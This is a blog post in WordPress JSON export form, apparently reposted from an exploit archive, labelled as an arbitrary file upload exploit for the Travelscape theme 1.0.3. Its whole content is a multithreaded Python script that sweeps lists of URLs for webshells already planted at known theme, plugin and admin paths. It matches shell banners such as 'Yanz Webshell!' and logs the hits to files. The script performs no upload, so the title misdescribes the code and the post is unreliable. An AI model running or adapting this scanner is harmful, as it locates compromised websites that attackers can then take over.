{"id":56154,"date":"2024-04-08T20:59:43","date_gmt":"2024-04-08T16:59:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177987\/wptravelscape103-upload.txt"},"modified":"2024-04-08T20:59:43","modified_gmt":"2024-04-08T16:59:43","slug":"wordpress-travelscape-theme-1-0-3-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-travelscape-theme-1-0-3-arbitrary-file-upload\/","title":{"rendered":"WordPress Travelscape Theme 1.0.3 Arbitrary File Upload"},"content":{"rendered":"<pre readability=\"36.5\"><code readability=\"67\"># Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload<br># Date: 2024-04-01<br># Author: Milad Karimi (Ex3ptionaL)<br># Category : webapps<br># Tested on: windows 10 , firefox<p>import sys<br>import os.path<br>import requests<br>import re<br>import urllib3<br>from requests.exceptions import SSLError<br>from multiprocessing.dummy import Pool as ThreadPool<br>from colorama import Fore, init<br>init(autoreset=True)<br>error_color = Fore.RED<br>info_color = Fore.CYAN<br>success_color = Fore.GREEN<br>highlight_color = Fore.MAGENTA<br>requests.urllib3.disable_warnings()<br>headers = {<br>'Connection': 'keep-alive',<br>'Cache-Control': 'max-age=0',<br>'Upgrade-Insecure-Requests': '1',<br>'User-Agent': 'Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M;<br>wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/60.0.3112.107<br>Mobile Safari\/537.36',<br>'Accept':<br>'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8',<\/p><p>'Accept-Encoding': 'gzip, deflate',<br>'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',<br>'Referer': 'www.google.com'<br>}<br>def URLdomain(url):<br>if url.startswith(\"http:\/\/\"):<br>url = url.replace(\"http:\/\/\", \"\")<br>elif url.startswith(\"https:\/\/\"):<br>url = url.replace(\"https:\/\/\", \"\")<br>if '\/' in url:<br>url = url.split('\/')[0]return url<br>def check_security(url):<br>fg = success_color<br>fr = error_color<br>try:<br>url = 'http:\/\/' + URLdomain(url)<br>check = requests.get(url +<br>'\/wp-content\/themes\/travelscape\/json.php', headers=headers,<br>allow_redirects=True, timeout=15)<br>if 'MSQ_403' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('MSQ_403.txt', 'a').write(url +<br>'\/wp-content\/themes\/travelscape\/json.php\\n')<br>else:<br>url = 'https:\/\/' + URLdomain(url)<br>check = requests.get(url +<br>'\/wp-content\/themes\/aahana\/json.php', headers=headers,<br>allow_redirects=True, verify=False, timeout=15)<br>if 'MSQ_403' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('MSQ_403.txt', 'a').write(url +<br>'\/wp-content\/themes\/aahana\/json.php\\n')<br>else:<br>print(' -| ' + url + ' --&gt; {}[Failed]'.format(fr))<br>check = requests.get(url + '\/wp-content\/themes\/travel\/issue.php',<br>headers=headers, allow_redirects=True, timeout=15)<br>if 'Yanz Webshell!' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('wso.txt', 'a').write(url +<br>'\/wp-content\/themes\/travel\/issue.php\\n')<br>else:<br>url = 'https:\/\/' + URLdomain(url)<br>check = requests.get(url + '\/about.php', headers=headers,<br>allow_redirects=True, timeout=15)<br>if 'Yanz Webshell!' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('wso.txt', 'a').write(url + '\/about.php\\n')<br>else:<br>url = 'https:\/\/' + URLdomain(url)<br>check = requests.get(url +<br>'\/wp-content\/themes\/digital-download\/new.php', headers=headers,<br>allow_redirects=True, timeout=15)<br>if '#0x2525' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('digital-download.txt', 'a').write(url +<br>'\/wp-content\/themes\/digital-download\/new.php\\n')<br>else:<br>print(' -| ' + url + ' --&gt; {}[Failed]'.format(fr))<br>url = 'http:\/\/' + URLdomain(url)<br>check = requests.get(url + '\/epinyins.php', headers=headers,<br>allow_redirects=True, timeout=15)<br>if 'Uname:' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('wso.txt', 'a').write(url + '\/epinyins.php\\n')<br>else:<br>print(' -| ' + url + ' --&gt; {}[Failed]'.format(fr))<br>url = 'https:\/\/' + URLdomain(url)<br>check = requests.get(url + '\/wp-admin\/dropdown.php',<br>headers=headers, allow_redirects=True, verify=False, timeout=15)<br>if 'Uname:' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('wso.txt', 'a').write(url + '\/wp-admin\/dropdown.php\\n')<br>else:<br>url = 'https:\/\/' + URLdomain(url)<br>check = requests.get(url +<br>'\/wp-content\/plugins\/dummyyummy\/wp-signup.php', headers=headers,<br>allow_redirects=True, verify=False, timeout=15)<br>if 'Simple Shell' in check.text:<br>print(' -| ' + url + ' --&gt; {}[Successfully]'.format(fg))<br>open('dummyyummy.txt', 'a').write(url +<br>'\/wp-content\/plugins\/dummyyummy\/wp-signup.php\\n')<br>else:<br>print(' -| ' + url + ' --&gt; {}[Failed]'.format(fr))<br>except Exception as e:<br>print(f' -| {url} --&gt; {fr}[Failed] due to: {e}')<br>def main():<br>try:<br>url_file_path = sys.argv[1]except IndexError:<br>url_file_path = input(f\"{info_color}Enter the path to the file<br>containing URLs: \")<br>if not os.path.isfile(url_file_path):<br>print(f\"{error_color}[ERROR] The specified file path is<br>invalid.\")<br>sys.exit(1)<br>try:<br>urls_to_check = [line.strip() for line in open(url_file_path, 'r',<br>encoding='utf-8').readlines()]except Exception as e:<br>print(f\"{error_color}[ERROR] An error occurred while reading the<br>file: {e}\")<br>sys.exit(1)<br>pool = ThreadPool(20)<br>pool.map(check_security, urls_to_check)<br>pool.close()<br>pool.join()<br>print(f\"{info_color}Security check process completed successfully.<br>Results are saved in corresponding files.\")<br>if __name__ == \"__main__\":<br>main()<\/p><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Wordpress Theme Travelscape v1.0.3 &#8211; Arbitrary File Upload# Date: 2024-04-01# Author: Milad Karimi (Ex3ptionaL)# Category : webapps# Tested on: windows 10 , firefoximport sysimport os.pathimport requestsimport reimport urllib3from requests.exceptions import SSLErrorfrom multiprocessing.dummy import Pool as ThreadPoolfrom colorama import Fore, initinit(autoreset=True)error_color = Fore.REDinfo_color = Fore.CYANsuccess_color = Fore.GREENhighlight_color = Fore.MAGENTArequests.urllib3.disable_warnings()headers = {&#8216;Connection&#8217;: &#8216;keep-alive&#8217;,&#8217;Cache-Control&#8217;: &#8216;max-age=0&#8242;,&#8217;Upgrade-Insecure-Requests&#8217;: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56154","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56154","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56154"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56154\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56154"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56154"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56154"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}